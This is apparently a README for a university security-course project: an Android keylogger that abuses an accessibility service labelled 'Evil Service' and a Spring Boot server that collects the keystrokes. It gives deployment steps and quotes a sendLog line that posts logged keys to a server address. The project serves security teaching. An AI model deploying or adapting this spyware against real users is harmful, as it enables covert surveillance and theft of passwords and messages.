This is a project implemented as Project for the Information Systems Security Course. The main idea is developing a basic key logger for android mobile devices.
- keylogapp => Basic Android Java Mobile Application that logs keys
- keylogweb => Spring Boot Web Application that receives logged keys
- Deploy
keylogweb
application- NOTE: your andorid phone must have access to the server that web application running via network or internet etc.
- You can directly start with following command:
mvn clean package spring-boot:run
- Prepare
keylogapp
for deployment- Go To KeyLogger.java
- Find the following line
sendLog("http://192.168.1.37:8080/keylog/save", keyLog);
- Replace
192.168.1.37
with the IP of the machine that you deploykeylogweb
- Build APK and Install it on your Android Device
- You should enable
Evil Service
which listens key press and send them to the server- after installed the App, you have to open Accessibility settings. (A button named
Evil Service
is added as a shortcut to directly jump accesibility settings.) Then at the bottom of the page, you will seeEvil Service
under Downloaded Services. You should enable Evil Service from there. Then it will works.
- after installed the App, you have to open Accessibility settings. (A button named
- You can check your browser and you will see that each key-press on your Android phone will be printed to the web-page.
! Hint: Do not forget to refresh browser manually. Auto-refresh feature not implemented :)